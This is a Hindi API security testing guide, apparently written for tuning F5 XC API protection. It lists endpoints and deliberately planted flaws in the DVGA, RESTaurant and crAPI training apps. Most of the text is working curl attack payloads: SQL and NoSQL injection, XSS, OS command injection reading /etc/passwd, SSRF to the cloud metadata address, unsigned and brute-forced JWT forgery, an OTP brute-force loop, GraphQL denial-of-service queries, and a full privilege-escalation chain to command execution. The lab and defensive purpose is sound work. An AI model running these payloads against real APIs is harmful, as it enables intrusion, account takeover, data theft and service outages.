इसे छोड़कर कंटेंट पर जाएं

API परीक्षण गाइड

यह गाइड तीन API सुरक्षा परीक्षण अनुप्रयोगों में प्रत्येक API एंडपॉइंट, जानबूझकर रखी गई भेद्यता, और अटैक पेलोड को सूचीबद्ध करता है। इसका उपयोग F5 XC API सुरक्षा प्रोफ़ाइल विकास के लिए ट्रैफ़िक जनरेशन पैटर्न बनाने हेतु करें।

अनुप्रयोगप्रोटोकॉलपथपोर्टप्रमाणीकरणभेद्यताएँ
DVGAGraphQL/dvga/80कोई नहीं (admin: admin/password)25 परिदृश्य
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 OWASP API 2023 श्रेणियाँ
crAPIREST (microservices)/8888JWT (Bearer)18+ चुनौतियाँ
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA (Damn Vulnerable GraphQL Application)

Section titled “DVGA (Damn Vulnerable GraphQL Application)”

GraphQL एंडपॉइंट: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ एडमिन क्रेडेंशियल: admin / password

सभी DVGA इंटरैक्शन एक ही एंडपॉइंट (/dvga/graphql) का उपयोग करते हैं, जिसमें JSON {"query":"..."} पेलोड वाले POST अनुरोध होते हैं।

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← circular reference

एंडपॉइंट संदर्भ

Section titled “एंडपॉइंट संदर्भ”
ऑपरेशनप्रकारप्रमाणीकरणउद्देश्य
pastes(public, filter, limit)Queryनहींपेस्ट सूचीबद्ध करें (filter के माध्यम से SQL इंजेक्शन)
paste(id)Queryनहींएकल पेस्ट प्राप्त करें
me(token)QueryनहींJWT द्वारा उपयोगकर्ता प्राप्त करें (जालसाजी के लिए संवेदनशील)
systemHealthQueryनहींस्वास्थ्य जाँच
systemUpdateQueryनहींधीमी क्वेरी (~82s, DoS वेक्टर)
systemDiagnostics(cmd)Queryadmin/passwordश्वेतसूचीबद्ध OS कमांड निष्पादित करें
createPaste(title, content, public)Mutationनहींपेस्ट बनाएं (content के माध्यम से XSS)
importPaste(host, port, path, scheme)Mutationनहींरिमोट पेस्ट आयात करें (SSRF, कमांड इंजेक्शन)
uploadPaste(filename, content)Mutationनहींपेस्ट अपलोड करें (पथ अनुक्रमण)

1. सेवा से इनकार / Denial of Service (6 परिदृश्य)

Section titled “1. सेवा से इनकार / Denial of Service (6 परिदृश्य)”

बैच क्वेरी अटैक:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

गहरा पुनरावर्तन (circular Owner/Paste संदर्भ):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

संसाधन-गहन क्वेरी (~82 सेकंड प्रतिक्रिया):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

फ़ील्ड दोहराव (500+ बार फ़ील्ड दोहराएँ):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

एलियास-आधारित अटैक (1000 एलियास्ड ऑपरेशन):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

2. सूचना प्रकटीकरण (5 परिदृश्य)

Section titled “2. सूचना प्रकटीकरण (5 परिदृश्य)”

इंट्रोस्पेक्शन (पूर्ण स्कीमा गणना):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

फ़ील्ड सुझाव (टाइपो से वैध फ़ील्ड उजागर होती हैं):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

importPaste के माध्यम से SSRF (आंतरिक सेवाओं की जाँच):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

3. इंजेक्शन (4 परिदृश्य)

Section titled “3. इंजेक्शन (4 परिदृश्य)”

filter पैरामीटर के माध्यम से SQL इंजेक्शन:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

createPaste के माध्यम से Stored XSS:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

लॉग इंजेक्शन (ऑपरेशन नाम स्पूफिंग):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

4. कोड निष्पादन (3 परिदृश्य)

Section titled “4. कोड निष्पादन (3 परिदृश्य)”

importPaste के माध्यम से OS कमांड इंजेक्शन:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

systemDiagnostics के माध्यम से OS कमांड (एडमिन प्रमाणीकरण आवश्यक):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

5. प्राधिकरण बाईपास (3 परिदृश्य)

Section titled “5. प्राधिकरण बाईपास (3 परिदृश्य)”

JWT टोकन जालसाजी (अहस्ताक्षरित टोकन स्वीकार करता है):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

uploadPaste के माध्यम से मनमाना फ़ाइल लेखन (पथ अनुक्रमण):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API (Damn Vulnerable RESTaurant)

Section titled “RESTaurant API (Damn Vulnerable RESTaurant)”

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI Spec: ${ORIGIN}/restaurant/openapi.json प्रमाणीकरण: /restaurant/token पर form-encoded POST के माध्यम से JWT भूमिकाएँ: Customer (डिफ़ॉल्ट), Employee, Chef (admin)

सेटअप: पंजीकरण और प्रमाणीकरण

Section titled “सेटअप: पंजीकरण और प्रमाणीकरण”
Terminal window
# एक परीक्षण उपयोगकर्ता पंजीकृत करें
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT टोकन प्राप्त करें (ध्यान दें: form-encoded, JSON नहीं)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"

एंडपॉइंट संदर्भ

Section titled “एंडपॉइंट संदर्भ”
एंडपॉइंटविधिप्रमाणीकरणभूमिकाभेद्यता
/restaurant/registerPOSTनहींउपयोगकर्ता निर्माण
/restaurant/tokenPOSTनहींकमज़ोर secret के साथ JWT (97952)
/restaurant/healthcheckGETनहींस्वास्थ्य जाँच
/restaurant/profileGETहाँकोई भीउपयोगकर्ता प्रोफ़ाइल
/restaurant/profilePUTहाँकोई भीBOLA (अन्य उपयोगकर्ताओं को संशोधित करें)
/restaurant/profilePATCHहाँकोई भीBOPLA (mass assign role)
/restaurant/users/update_rolePUTहाँकोई भीBFLA (भूमिका उन्नयन)
/restaurant/menuGETहाँकोई भीमेनू आइटम सूचीबद्ध करें
/restaurant/menuPUTहाँEmployee+मेनू बनाएं (SSRF image के माध्यम से)
/restaurant/menu/{item_id}PUTहाँEmployee+मेनू अपडेट करें (SSRF image के माध्यम से)
/restaurant/menu/{item_id}DELETEहाँकोई भीBFLA (कोई भी उपयोगकर्ता हटा सकता है)
/restaurant/ordersGETहाँकोई भीBOLA (सभी ऑर्डर देखें)
/restaurant/ordersPOSTहाँकोई भीऑर्डर बनाएं
/restaurant/orders/{order_id}GETहाँकोई भीBOLA (अन्य ऑर्डर तक पहुँच)
/restaurant/orders/status/{order_id}GETहाँकोई भीऑर्डर स्थिति
/restaurant/admin/stats/diskGETहाँChefकमांड इंजेक्शन
/restaurant/reset-passwordPOSTनहींपासवर्ड रीसेट अनुरोध
/restaurant/reset-password/new-passwordPOSTनहींनया पासवर्ड सेट करें
/restaurant/referral-codeGETहाँकोई भीरेफरल कोड प्राप्त करें
/restaurant/apply-referralPOSTहाँकोई भीरेफरल लागू करें
/restaurant/discount-couponsGETहाँकोई भीकूपन सूचीबद्ध करें

API1:2023 — Broken Object Level Authorization (BOLA)

Section titled “API1:2023 — Broken Object Level Authorization (BOLA)”

किसी अन्य उपयोगकर्ता की प्रोफ़ाइल संशोधित करें:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

अन्य उपयोगकर्ताओं के ऑर्डर तक पहुँच (offset गणना करें):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT कमज़ोर secret ब्रूट-फ़ोर्स (secret 6 अंक है: 97952):

Terminal window
# jwt.io पर टोकन डीकोड और जाली बनाएं
# Secret: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' से ब्रूट-फ़ोर्स योग्य)
# Chef टोकन जाली बनाएं:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Secret से साइन करें: 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Section titled “API3:2023 — Broken Object Property Level Authorization (BOPLA)”

Customer से Chef तक भूमिका mass-assign करें:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

उन्नयन पथ: Customer → Employee → Chef:

Terminal window
# चरण 1: Employee तक उन्नयन
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# चरण 2: Chef तक उन्नयन
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Section titled “API5:2023 — Broken Function Level Authorization (BFLA)”

Customer के रूप में मेनू आइटम हटाएं (Employee+ आवश्यक होना चाहिए):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

किसी अन्य उपयोगकर्ता की भूमिका बदलें:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — Server-Side Request Forgery (SSRF)

Section titled “API7:2023 — Server-Side Request Forgery (SSRF)”

मेनू image_url के माध्यम से आंतरिक एंडपॉइंट की जाँच (Employee भूमिका आवश्यक):

Terminal window
# पहले BOPLA के माध्यम से Employee तक उन्नयन करें, फिर:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

disk stats के माध्यम से OS कमांड इंजेक्शन (Chef भूमिका आवश्यक):

Terminal window
# Chef तक उन्नयन के बाद:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"

पूर्ण अटैक चेन: Customer से Root तक

Section titled “पूर्ण अटैक चेन: Customer से Root तक”
Terminal window
# 1. पंजीकरण करें
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. टोकन प्राप्त करें
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef तक उन्नयन (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Chef-स्तर का टोकन पाने के लिए पुनः प्रमाणीकरण करें
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. कमांड इंजेक्शन (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

वेब UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (सत्यापन के लिए ईमेल कैप्चर) प्रमाणीकरण: JWT Bearer टोकन (RS256, एल्गोरिदम भ्रम के लिए संवेदनशील) आर्किटेक्चर: 7 माइक्रोसर्विस (identity, community, workshop, postgres, mongo, mailhog, web)

सेटअप: पंजीकरण, ईमेल सत्यापन, लॉगिन

Section titled “सेटअप: पंजीकरण, ईमेल सत्यापन, लॉगिन”
Terminal window
# 1. पंजीकरण करें
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. सत्यापन ईमेल के लिए MailHog जाँचें
# ${CRAPI}/mailhog/ ब्राउज़ करें या MailHog API का उपयोग करें:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. लॉगिन करें और JWT टोकन प्राप्त करें
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"

एंडपॉइंट संदर्भ

Section titled “एंडपॉइंट संदर्भ”
एंडपॉइंटविधिप्रमाणीकरणभेद्यता
/identity/api/auth/signupPOSTनहींपंजीकरण
/identity/api/auth/loginPOSTनहींJWT टोकन (एल्गोरिदम भ्रम)
/identity/api/auth/forget-passwordPOSTनहींOTP अनुरोध
/identity/api/auth/v2/check-otpPOSTनहींदर सीमा नहीं (4-अंकीय OTP ब्रूट-फ़ोर्स)
/identity/api/auth/v3/check-otpPOSTनहींदर-सीमित संस्करण
/identity/api/v2/user/dashboardGETहाँउपयोगकर्ता प्रोफ़ाइल
/identity/api/v2/user/change-emailPUTहाँईमेल परिवर्तन
/identity/api/v2/vehicle/vehiclesGETहाँवाहन सूचीबद्ध करें (UUID लीक करता है)
/identity/api/v2/vehicle/{uuid}/locationGETहाँBOLA (किसी भी उपयोगकर्ता का वाहन)
/identity/api/v2/user/videosPOSTहाँवीडियो अपलोड
/identity/api/v2/user/videos/{id}GETहाँडेटा एक्सपोज़र (conversion_params)
/identity/api/v2/user/videos/{id}PUTहाँMass assignment (कमांड इंजेक्शन)
/identity/api/v2/admin/videos/{id}DELETEहाँBFLA (कोई एडमिन जाँच नहीं)
एंडपॉइंटविधिप्रमाणीकरणभेद्यता
/community/api/v2/community/postsGETहाँडेटा एक्सपोज़र (vehicle_id, email लीक करता है)
/community/api/v2/community/postsPOSTहाँब्लॉग पोस्ट बनाएं
/community/api/v2/community/posts/{id}/commentsPOSTहाँटिप्पणी जोड़ें
/community/api/v2/coupon/validate-couponPOSTहाँNoSQL इंजेक्शन
एंडपॉइंटविधिप्रमाणीकरणभेद्यता
/workshop/api/mechanicGETहाँडेटा एक्सपोज़र (मैकेनिक ईमेल)
/workshop/api/mechanic/mechanic_reportGETनहींBOLA (कोई auth नहीं, अनुक्रमिक ID)
/workshop/api/merchant/contact_mechanicPOSTहाँSSRF + DoS
/workshop/api/shop/productsGETहाँउत्पाद कैटलॉग
/workshop/api/shop/orders/POSTहाँऑर्डर बनाएं
/workshop/api/shop/orders/allGETहाँऑर्डर सूचीबद्ध करें
/workshop/api/shop/orders/{id}GETनहींBOLA (कोई auth आवश्यक नहीं)
/workshop/api/shop/orders/{id}PUTहाँMass assignment (status, quantity)
/workshop/api/shop/apply_couponPOSTहाँSQL इंजेक्शन

चुनौती 1 — BOLA: किसी अन्य उपयोगकर्ता के वाहन का स्थान प्राप्त करें

Section titled “चुनौती 1 — BOLA: किसी अन्य उपयोगकर्ता के वाहन का स्थान प्राप्त करें”
Terminal window
# पहले अपना वाहन UUID प्राप्त करें
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# किसी अन्य उपयोगकर्ता के वाहन तक पहुँच (UUID बदलें)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

चुनौती 2 — BOLA: मैकेनिक रिपोर्ट तक पहुँच (बिना Auth के)

Section titled “चुनौती 2 — BOLA: मैकेनिक रिपोर्ट तक पहुँच (बिना Auth के)”
Terminal window
# अनुक्रमिक ID गणना — कोई टोकन आवश्यक नहीं
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

चुनौती 3 — Broken Auth: पासवर्ड रीसेट OTP ब्रूट-फ़ोर्स

Section titled “चुनौती 3 — Broken Auth: पासवर्ड रीसेट OTP ब्रूट-फ़ोर्स”
Terminal window
# पीड़ित के लिए OTP अनुरोध करें
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 4-अंकीय OTP ब्रूट-फ़ोर्स (v2 में कोई दर सीमा नहीं)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

चुनौती 4 — डेटा एक्सपोज़र: मैकेनिक ईमेल लीक करें

Section titled “चुनौती 4 — डेटा एक्सपोज़र: मैकेनिक ईमेल लीक करें”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

चुनौती 5 — डेटा एक्सपोज़र: आंतरिक वीडियो रूपांतरण पैरामीटर

Section titled “चुनौती 5 — डेटा एक्सपोज़र: आंतरिक वीडियो रूपांतरण पैरामीटर”
Terminal window
# एक वीडियो अपलोड करें, फिर प्रतिक्रिया की जाँच करें
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# प्रतिक्रिया में conversion_params फ़ील्ड देखें

चुनौती 6 — DoS: Contact Mechanic के माध्यम से Layer 7

Section titled “चुनौती 6 — DoS: Contact Mechanic के माध्यम से Layer 7”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

चुनौती 7 — BFLA: एडमिन एंडपॉइंट के माध्यम से वीडियो हटाएं

Section titled “चुनौती 7 — BFLA: एडमिन एंडपॉइंट के माध्यम से वीडियो हटाएं”
Terminal window
# सामान्य उपयोगकर्ता एडमिन एंडपॉइंट तक पहुँच सकता है
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

चुनौतियाँ 8 और 9 — Mass Assignment: ऑर्डर हेरफेर के माध्यम से मुफ़्त आइटम

Section titled “चुनौतियाँ 8 और 9 — Mass Assignment: ऑर्डर हेरफेर के माध्यम से मुफ़्त आइटम”
Terminal window
# GET को PUT में बदलें, status और quantity संशोधित करें
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

चुनौती 10 — वीडियो रूपांतरण पैरामीटर के माध्यम से कमांड इंजेक्शन

Section titled “चुनौती 10 — वीडियो रूपांतरण पैरामीटर के माध्यम से कमांड इंजेक्शन”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

चुनौती 11 — Contact Mechanic के माध्यम से SSRF

Section titled “चुनौती 11 — Contact Mechanic के माध्यम से SSRF”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

चुनौती 12 — NoSQL इंजेक्शन: कूपन कोड निकालें

Section titled “चुनौती 12 — NoSQL इंजेक्शन: कूपन कोड निकालें”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

चुनौती 13 — SQL इंजेक्शन: कूपन एकाधिक बार रिडीम करें

Section titled “चुनौती 13 — SQL इंजेक्शन: कूपन एकाधिक बार रिडीम करें”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

चुनौती 14 — बिना प्रमाणीकरण के ऑर्डर तक पहुँच

Section titled “चुनौती 14 — बिना प्रमाणीकरण के ऑर्डर तक पहुँच”
Terminal window
# कोई Authorization हेडर नहीं — फिर भी डेटा लौटाता है
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done

चुनौती 15 — JWT एल्गोरिदम भ्रम

Section titled “चुनौती 15 — JWT एल्गोरिदम भ्रम”
Terminal window
# "none" एल्गोरिदम के साथ JWT जाली बनाएं (कोई हस्ताक्षर सत्यापन नहीं):
# 1. header सेट करें: {"alg":"none","typ":"JWT"} और base64url-encode करें
# 2. payload सेट करें: {"email":"admin@example.com","role":"admin"} और base64url-encode करें
# 3. डॉट्स से जोड़ें, हस्ताक्षर खाली छोड़ें: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP API सुरक्षा शीर्ष 10 क्रॉस-संदर्भ

Section titled “OWASP API सुरक्षा शीर्ष 10 क्रॉस-संदर्भ”
OWASP श्रेणीDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}वाहन स्थान, मैकेनिक रिपोर्ट, ऑर्डर
API2: Broken AuthJWT जालसाजी (me query)JWT कमज़ोर secret (97952)OTP ब्रूट-फ़ोर्स (v2), JWT एल्गोरिदम भ्रम
API3: BOPLAPATCH /profile (भूमिका उन्नयन)Video conversion_params, मैकेनिक ईमेल एक्सपोज़र
API4: Resource ConsumptionBatch, recursion, alias, field duplication DoSप्रतिक्रिया लंबाई के माध्यम से उपयोगकर्ता गणनाcontact_mechanic repeat_request DoS
API5: BFLADELETE /menu, PUT /users/update_roleसामान्य उपयोगकर्ता के रूप में DELETE /admin/videos
API6: Mass AssignmentPUT /orders (status, quantity)ऑर्डर status/quantity, video conversion_params
API7: SSRFimportPaste mutationPUT /menu image_urlcontact_mechanic mechanic_api URL
API8: InjectionSQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics)OS cmd (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Improper Assetsपुराना /auth/v2/check-otp (कोई दर सीमा नहीं)
API10: Unsafe Consumption(SSRF के माध्यम से अप्रत्यक्ष)
GraphQL-specificIntrospection, batching, recursion, aliases, field duplication, circular fragments

ट्रैफ़िक जनरेशन पैटर्न

Section titled “ट्रैफ़िक जनरेशन पैटर्न”

चरण 1: बेसलाइन (Happy Path)

Section titled “चरण 1: बेसलाइन (Happy Path)”

अटैक पैटर्न परीक्षण से पहले सामान्य API व्यवहार स्थापित करने के लिए वैध ट्रैफ़िक उत्पन्न करें।

DVGA बेसलाइन:

Terminal window
# सामान्य क्वेरी
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant बेसलाइन:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI बेसलाइन:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

चरण 2: OWASP श्रेणी के अनुसार अटैक ट्रैफ़िक

Section titled “चरण 2: OWASP श्रेणी के अनुसार अटैक ट्रैफ़िक”

BOLA परीक्षण: अनुक्रमिक ID गणना करें, अनुरोधों में उपयोगकर्ता पहचानकर्ता बदलें, स्वामित्व के बिना संसाधनों तक पहुँचें।

Injection परीक्षण: filter/coupon पैरामीटर में SQL पेलोड, GraphQL क्वेरी इंजेक्शन, पैरामीटर फ़ील्ड के माध्यम से OS कमांड इंजेक्शन।

Auth bypass परीक्षण: JWT टोकन जाली बनाएं, OTP ब्रूट-फ़ोर्स करें, पुराने API संस्करण उपयोग करें, एल्गोरिदम भ्रम।

SSRF परीक्षण: importPaste, image_url, और mechanic_api पैरामीटर में आंतरिक URL।

DoS परीक्षण: GraphQL batch/recursion/alias अटैक, उच्च गिनती के साथ repeat_request_if_failed

चरण 3: स्टेटफुल अटैक चेन

Section titled “चरण 3: स्टेटफुल अटैक चेन”

कुछ अटैक के लिए स्थिति के साथ बहु-चरण अनुक्रम आवश्यक हैं:

  1. RESTaurant उन्नयन चेन: पंजीकरण → टोकन → PATCH role to Chef → पुनः-auth → कमांड इंजेक्शन
  2. crAPI पूर्ण प्रवाह: Signup → ईमेल सत्यापन (MailHog) → Login → वाहन जोड़ें → Contact mechanic (SSRF) → ऑर्डर हेरफेर
  3. DVGA recon-to-exploit: Introspection → systemDiagnostics खोजें → एडमिन क्रेडेंशियल ब्रूट-फ़ोर्स → OS कमांड निष्पादन
पैटर्नअनुरोध/सेकंडअवधिनोट्स
बेसलाइन (प्रति ऐप)10-505 मिनटसामान्य ट्रैफ़िक फिंगरप्रिंट स्थापित करें
BOLA गणना100-5002 मिनटअनुक्रमिक ID स्कैनिंग
OTP ब्रूट-फ़ोर्स1000+मिलने तकअधिकतम 10,000 प्रयास (4-अंकीय)
GraphQL DoS10-5030 सेकंडप्रत्येक अनुरोध सर्वर-साइड पर महँगा है
Injection fuzzing50-2005 मिनटप्रत्येक अनुरोध में पेलोड बदलें
SSRF probing5-202 मिनटधीमा; प्रत्येक सर्वर-साइड HTTP अनुरोध ट्रिगर करता है